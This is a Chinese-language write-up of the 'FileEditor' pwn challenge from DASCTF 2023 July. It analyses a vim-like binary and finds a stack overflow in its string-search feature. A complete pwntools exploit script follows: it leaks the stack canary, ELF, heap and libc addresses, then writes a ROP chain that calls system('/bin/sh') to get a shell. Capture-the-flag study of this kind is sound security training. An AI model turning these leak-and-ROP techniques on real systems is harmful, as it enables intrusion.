DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

CH13hh發表於2024-07-24

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

題目保護情況(保護全家桶)

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

64位ida逆向

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

模擬了一個類似vim的功能,有開啟檔案,列印內容,插入行,刪除行,複製行,和編輯行,還有查詢字元和替換字元的功能,然後就是儲存退出

一個一個來分析吧

1.open

就是開啟一個file檔案。沒有會建立

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

2.show

(沒有什麼特別的,列印內容)

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

3.插入行

輸入n,m,和內容,在n行前面插入m行

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

4.刪除行

還是輸入n和m,功能是在起始行m後刪除n行

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

5.複製行

功能是複製自k行後面的m行資料給起始於n行之後的資料

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

6.編輯行

輸入編輯的行,然後輸入內容

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

7.查詢字元

會把我們的內容先放到src上,src有0x70大小

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

8.替換字元

同樣也是

DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)

9.儲存退出

0.退出編輯

分析:可以透過查詢字元或者替換字元的功能,把輸入檔案的內容放到棧上,輸入0x68+1個位元組覆蓋canary末尾,然後列印的時候會順帶列印出canary,同樣用這個手法,洩露出libc地址和堆地址,也可以不需要直接用libc裡面的binsh字串,最後透過編輯把ropchain寫入棧上,然後查詢時透過溢位劫持程式流來獲取shell。

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./FileEditor')
#io = remote('node5.buuoj.cn',27825)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def open():
    io.sendlineafter('> choose:','1')


def instert(n,m,msg):
    io.sendlineafter('> choose:','3')
    io.sendlineafter('> To insert m lines before line n, please enter n m:',n)
    io.sendline(m)
    io.sendafter('> Please enter the content to be inserted in sequence:',msg)


def show():
    io.sendlineafter('> choose:','2')


def edit(num,msg):
    io.sendlineafter('> choose:','6')
    io.sendlineafter('> Please enter the line number to be modified:',num)
    io.sendafter('> Please enter the new content:',msg)

def find(string):
    io.sendlineafter('> choose:','7')
    io.sendlineafter('> Please enter the string to search for:',string)
    io.sendlineafter('> Do you want to continue searching? (y/n)','n')

#gdb.attach(io)
open()
payload = 'b'+'a'*(0x68-1)
#gdb.attach(io)
instert('1','1',payload)
io.send('\n')
find('b')
edit('1',payload)
io.send('\n')
show()
io.recvuntil('a'*103)
canary = u64(io.recv(8))-0xa
success('canary---->'+hex(canary))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*8
edit('1',payload)
io.send('\n')
#gdb.attach(io)
sleep(0.5)
show()
io.recvuntil('c'*8)
elf_base  = u64(io.recv(6).ljust(8,b'\x00')) - (0x59640d98850a -0x59640d987000)
success('elf_base----->'+hex(elf_base))

payload = payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*24 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
show()
io.recvuntil('d'*8)
heap = u64(io.recv(6).ljust(8,b'\x00')) -(0x5ab985b9d2a0 - 0x5ab985b9d000) + 0x96
success('heap----->'+hex(heap))

payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*48 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
show()

io.recvuntil('d'*8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x796487e29d90 -  0x796487e28000) + 0x86 -0x28000
success('libc_base---->'+hex(libc_base))
pause()
pop_rdi = elf_base + 0x0000000000002ac3 #: pop rdi ; ret 
pop_rsi = elf_base + 0x0000000000002ac1 #: pop rsi ; pop r15 ; ret
ret = elf_base + 0x000000000000101a #: ret 
system = libc_base + libc.sym['system']# -0x28000
binsh  = libc_base + next(libc.search('/bin/sh\0'))

#payload = b'b'+b'a'*(0x68-1) + p64(canary) + b'/bin/sh\x00' + p64(ret)
#payload += p64(pop_rdi) + p64(heap + 0x15e4) + p64(system)
payload = b'b'+b'a'*(0x68-1) + p64(canary) + p64(0xdeadbeef) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)

#gdb.attach(io)
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
find('b')

io.interactive()

相關文章